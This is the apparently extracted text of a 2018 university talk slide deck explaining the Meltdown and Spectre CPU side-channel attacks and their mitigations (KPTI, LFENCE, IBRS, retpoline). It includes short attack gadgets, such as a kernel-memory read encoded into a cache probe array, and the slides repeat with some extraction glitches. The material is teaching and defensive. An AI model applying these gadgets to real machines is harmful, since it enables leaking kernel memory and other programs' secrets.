Brief Overview on Meltdown and Spectre

Daniel Gruss
January 25, 2018
Graz University of Technology
- Daniel Gruss
- Post-Doc @ Graz University of Technology
- Twitter: @lavados
- Email: daniel.gruss@iaik.tugraz.at
software-based Side-Channel Attacks

- security and privacy rely on secrets (unknown to attackers)
- secrets can leak through side channels
Software-based Side-Channel Attacks

- Security and privacy rely on secrets (unknown to attackers)
- Secrets can leak through side channels
- Software-based $\rightarrow$ no physical access
• Kernel is isolated from user space
• Kernel is isolated from user space
• This *isolation* is a combination of hardware and software
• Kernel is isolated from user space
• This isolation is a combination of hardware and software
• User applications cannot access anything from the kernel
The Core of Meltdown/Spectre

- Kernel is isolated from user space
- This isolation is a combination of hardware and software
- User applications cannot access anything from the kernel
- There is only a well-defined interface → syscalls
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);

Cache miss

Daniel Gruss — Graz University of Technology
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);

Cache miss
Request
Response

Daniel Gruss — Graz University of Technology
printf("%d", i);

Cache miss

printf("%d", i);

Cache hit

Request

Response

Daniel Gruss — Graz University of Technology
CPU Cache

DRAM access, slow

printf("%d", i);

Cache miss

printf("%d", i);

Cache hit

DRAM access,
slow

Request

Response

i
### CPU Cache

- **DRAM access**: slow
  - **Cache miss**: Request ➔ Response
    - printf("%d", i);
  - **Cache hit**: No DRAM access, much faster
    - printf("%d", i);

**NO DRAM access, much faster**

---

Daniel Gruss — Graz University of Technology
Flush+Reload

Shared Memory

ATTACKER
flush
access

VICTIM

access
Flush+Reload

ATTACKER

flush

access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

Access

Shared Memory

VICTIM

Access
Flush+Reload

ATTACKER

Shared Memory

VICTIM

flush
access

Shared Memory

access
Flush+Reload

ATTACKER

Shared Memory

VICTIM

flush
access

fast if victim accessed data, slow otherwise

access

Daniel Gruss — Graz University of Technology
Memory Access Latency

Latency in Cycles

Number of Accesses

Cached
Not Cached
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);

int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);

int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
• Out-of-order instructions leave microarchitectural traces
• Out-of-order instructions leave microarchitectural traces
• We can see them for example in the cache
• Out-of-order instructions leave microarchitectural traces
• We can see them for example in the cache
• Give such instructions a name: transient instructions
• Out-of-order instructions leave microarchitectural traces
• We can see them for example in the cache
• Give such instructions a name: transient instructions
• We can indirectly observe the execution of transient instructions
• Maybe there is no permission check in transient instructions...
• Maybe there is no permission check in transient instructions...
• ...or it is only done when committing them
• Maybe there is no permission check in transient instructions...
• ...or it is only done when committing them
• Add another layer of indirection to test

```c
char data = *(char*)0xffffffff81a000e0;
array[data * 4096] = 0;
```
• Maybe there is no permission check in transient instructions...
• ...or it is only done when committing them
• Add another layer of indirection to test

```c
char data = *(char *)0xffffffff81a000e0;
array[data * 4096] = 0;
```

• Then check whether any part of array is cached
• Flush+Reload over all pages of the array

• Index of cache hit reveals data
• Flush+Reload over all pages of the array

• Index of cache hit reveals data

• Permission check is in some cases not fast enough
Spying on passwords

pwd

Unlock Password Manager

Unlock

Terminal

mschwarz@lab06:~/Documents$
Leaking a picture like in CSI Cyber
Leaking a photo
Leaking Passwords from your Password Manager

Daniel Gruss — Graz University of Technology
Kernel addresses in user space are a problem
How to stop a Meltdown?

- Kernel addresses in user space are a problem
- Let’s just unmap the kernel in user space
How to stop a Meltdown?

- Kernel addresses in user space are a problem
- Let’s just unmap the kernel in user space
- Kernel addresses are then no longer present
How to stop a Meltdown?

- Kernel addresses in user space are a problem
- Let’s just unmap the kernel in user space
- Kernel addresses are then no longer present
- Memory which is not mapped cannot be accessed at all
Today’s operating systems:

Shared address space

User memory  Kernel memory

context switch

Stronger kernel isolation:

User address space

User memory  Not mapped

context switch

Not mapped  Kernel memory

Interrupt dispatcher

Kernel address space
• We published KAISER in July 2017
- We published KAISER in July 2017
- Intel and others improved and merged it into Linux as KPTI (Kernel Page Table Isolation)
• We published KAISER in July 2017
• Intel and others improved and merged it into Linux as KPTI (Kernel Page Table Isolation)
• Microsoft implemented similar concept in Windows 10
We published KAISER in July 2017

Intel and others improved and merged it into Linux as KPTI (Kernel Page Table Isolation)

Microsoft implemented similar concept in Windows 10

Apple implemented it in macOS 10.13.2 and called it “Double Map”
• We published KAISER in July 2017
• Intel and others improved and merged it into Linux as KPTI (Kernel Page Table Isolation)
• Microsoft implemented similar concept in Windows 10
• Apple implemented it in macOS 10.13.2 and called it “Double Map”
• All share the same idea: switching address spaces on context switch
• Depends on how often you need to switch between kernel and user space
- Depends on how often you need to switch between kernel and user space
- Can be slow, 40% or more on old hardware
• Depends on how often you need to switch between kernel and user space
• Can be slow, 40% or more on old hardware
• But modern CPUs have additional features
- Depends on how often you need to switch between kernel and user space
- Can be slow, 40% or more on old hardware
- But modern CPUs have additional features
- ⇒ Performance overhead on average below 2%
Meltdown and Spectre

MELTDOWN  SPECTRE

Daniel Gruss — Graz University of Technology
index = 0;

char* data = "textKEY";

if (index < 4)
    Prediction
then
LUT[data[index] * 4096]
else
    0
index = 0;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

Prediction

0
index = 0;

char* data = "textKEY";

if (index < 4)
     
LUT[data[index] * 4096]

then

Speculate

else

Prediction

0

Daniel Gruss — Graz University of Technology
index = 0;

char* data = "textKEY";

if (index < 4) {
    LUT[data[index] * 4096]
} else {
    0
}
index = 1;

char* data = "textKEY";

if (index < 4)
    Prediction
    LUT[data[index] * 4096]
else
    0
index = 1;

char* data = "textKEY";

if (index < 4)
  Prediction
  LUT[data[index] * 4096]
else
  0
index = 1;

char* data = "textKEY";

if (index < 4)
{
Speculate
then
LUT[data[index] * 4096]
else
Prediction
0
}
index = 1;

char* data = "textKEY";

if (index < 4)
then
    LUT[data[index] * 4096]
else
    0
index = 2;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 2;

char* data = "textKEY";

if (index < 4)
    Prediction
else
    LUT[data[index] * 4096] 0
index = 2;

char* data = "textKEY";

if (index < 4)
    Speculate
    then
        LUT[data[index] * 4096]
    Prediction
else
    0
index = 2;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 3;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction
0
index = 3;

char* data = "textKEY";

if (index < 4)
    Prediction
else
    LUT[data[index] * 4096]
index = 3;

char* data = "textKEY";

if (index < 4)
  Speculate
  then
    LUT[data[index] * 4096]
  else
    Prediction
    0

else
index = 3;

char* data = "textKEY";

\begin{figure}
\centering
\begin{tikzpicture}
\node (index) {if (index < 4)};
\path[->] (index) edge [left] node {then} (prediction);
\path[->] (index) edge [right] node {else} (0);
\node (prediction) {LUT[data[index] * 4096]};
\end{tikzpicture}
\end{figure}
index = 4;

char* data = "textKEY";

if (index < 4)
  LUT[data[index] * 4096]
else
  0
index = 4;

char* data = "textKEY";

if (index < 4)
then
Prediction

LUT[data[index] * 4096]

else
0
index = 4;

char* data = "textKEY";

if (index < 4)

Speculate

then

LUT[data[index] * 4096]

else

Prediction

0
index = 4;

char* data = "textKEY";

if (index < 4)
{
    LUT[data[index] * 4096]
}
else
{
    Prediction
}

Execute

0
index = 5;

char* data = "textKEY";

if (index < 4)
    then
        Prediction

    LUT[data[index] * 4096]

else
    0
index = 5;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction
0
index = 5;

char* data = "textKEY";

if (index < 4)
    Speculate

    then
        LUT[data[index] * 4096]

    Prediction

else
    0
index = 5;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction
0
index = 6;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0
index = 6;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 6;

char* data = "textKEY";

if (index < 4) {
    Speculate
    then
    LUT[data[index] * 4096]
    else
    Prediction
    0
}
index = 6;

cchar* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        Prediction
            Execute
                0
Animal* a = bird;

a->move()

fly()  

Prediction

LUT[data[index] * 4096]

swim()  

swim()
Animal* a = bird;

a->move()

fly()

LUT[data[index] * 4096]
```cpp
Animal* a = bird;

a->move();
```

![Diagram](image-url)
Animal* a = bird;

a->move()
Animal* a = bird;
a->move();

fly()

fly()

swim()

LUT[data[index] * 4096]

0
```cpp
Animal* a = bird;
```
Animal* a = bird;

a->move()

fly()

swim()

LUT[data[index] * 4096]

Prediction

0
Animal* a = fish;

a->move();

fly()

fly()

swim()

LUT[data[index] * 4096]

0
Animal* a = fish;

d->move();

Speculate

fly()

LUT[data[index] * 4096]

Prediction

fly()

swim()

0
Animal* a = fish;

a->move()

fly()

fly()

LUT[data[index] * 4096]

swim()

0
Animal* a = fish;

a->move();

LUT[data[index] * 4096]
Animal* a = fish;

a->move();

fly();
swim();
swim();

LUT[data[index] * 4096] 0
Read own memory (e.g., sandbox escape)
- Read own memory (e.g., sandbox escape)
- “Convince” other programs to reveal their secrets
• Read own memory (e.g., sandbox escape)
• “Convince” other programs to reveal their secrets
• Again, a cache attack (Flush+Reload) is used to read the secret
• Read own memory (e.g., sandbox escape)
• “Convince” other programs to reveal their secrets
• Again, a cache attack (Flush+Reload) is used to read the secret
• Much harder to fix, KAISER does not help
• Read own memory (e.g., sandbox escape)
• “Convince” other programs to reveal their secrets
• Again, a cache attack (Flush+Reload) is used to read the secret
• Much harder to fix, KAISER does not help
• Ongoing effort to patch via microcode update and compiler extensions
Spectre Variant 1 Mitigations

- LFENCE: speculation barrier to insert after every bounds check
  - implemented as a compiler extension

Daniel Gruss — Graz University of Technology
Spectre Variant 1 Mitigations

- **LFENCE**

![Ghostbusters poster](image)
Spectre Variant 1 Mitigations

- LFENCE
  - speculation barrier to insert after every bounds check
Spectre Variant 1 Mitigations

- LFENCE
  - speculation barrier to insert after every bounds check
- implemented as a compiler extension
• Indirect Branch Restricted Speculation (IBRS):
- Indirect Branch Restricted Speculation (IBRS):
  - do not speculate based on anything before entering or outside IBRS mode
Indirect Branch Restricted Speculation (IBRS):
- do not speculate based on anything before entering or outside IBRS mode

Single Thread Indirect Branch Predictors (STIBP)
Spectre Variant 2 Mitigations (Microcode/MSRs)

- Indirect Branch Restricted Speculation (IBRS):
  - do not speculate based on anything before entering or outside IBRS mode

- Single Thread Indirect Branch Predictors (STIBP)
  - do not speculate based on anything the other hyperthread does
• Indirect Branch Restricted Speculation (IBRS):
  • do not speculate based on anything before entering or outside IBRS mode
• Single Thread Indirect Branch Predictors (STIBP)
  • do not speculate based on anything the other hyperthread does
• Indirect Branch Predictor Barrier (IBPB)
- Indirect Branch Restricted Speculation (IBRS):
  - do not speculate based on anything before entering or outside IBRS mode
- Single Thread Indirect Branch Predictors (STIBP)
  - do not speculate based on anything the other hyperthread does
- Indirect Branch Predictor Barrier (IBPB):
  - flush branch-target buffer
Spectre Variant 2 Mitigations (Software)

retpoline
Spectre Variant 2 Mitigations (Software)

retpoline

```assembly
push <call_target>
call 1f
2:
   lfence ; speculation barrier
   jmp 2b ; endless loop
1:
   lea 8(%rsp), %rsp ; restore stack pointer
   ret ; the actual call to <call_target>
```

→ always predict to enter an endless loop
retpoline

1. push <call_target>
2. call 1f
3. 2: ; speculation will continue here
4. 1fence ; speculation barrier
5. jmp 2b ; endless loop
6. 1:
7. lea 8(%rsp), %rsp ; restore stack pointer
8. ret ; the actual call to <call_target>

→ always predict to enter an endless loop
  • instead of the correct (or wrong) target function
retpoline

push <call_target>
call 1f

2: ; speculation will continue here
lfence ; speculation barrier
jmp 2b ; endless loop

1:
lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <call_target>

→ always predict to enter an endless loop
• instead of the correct (or wrong) target function
We have ignored software side-channels for many many years:
We have ignored software side-channels for many many years:

- attacks on crypto
What do we learn from it?

We have ignored software side-channels for many many years:

- attacks on crypto $\rightarrow$ “software should be fixed”
What do we learn from it?

We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR
What do we learn from it?

We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone
What do we learn from it?

We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
What do we learn from it?

We have ignored software side-channels for many many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- for years we solely optimized for performance
When you read the Intel manuals...

After learning about a side channel you realize:

- the side channels were documented in the Intel manual
- only now we understand the implications
After learning about a side channel you realize:
  • the side channels were documented in the Intel manual
When you read the Intel manuals...

After learning about a side channel you realize:

- the side channels were documented in the Intel manual
- only now we understand the implications
What do we learn from it?

Motor Vehicle Deaths in U.S. by Year
What do we learn from it?

A unique chance to

- rethink processor design
- grow up, like other fields (car industry, construction industry)
- find good trade-offs between security and performance
Brief Overview on Meltdown and Spectre

Daniel Gruss
January 25, 2018

Graz University of Technology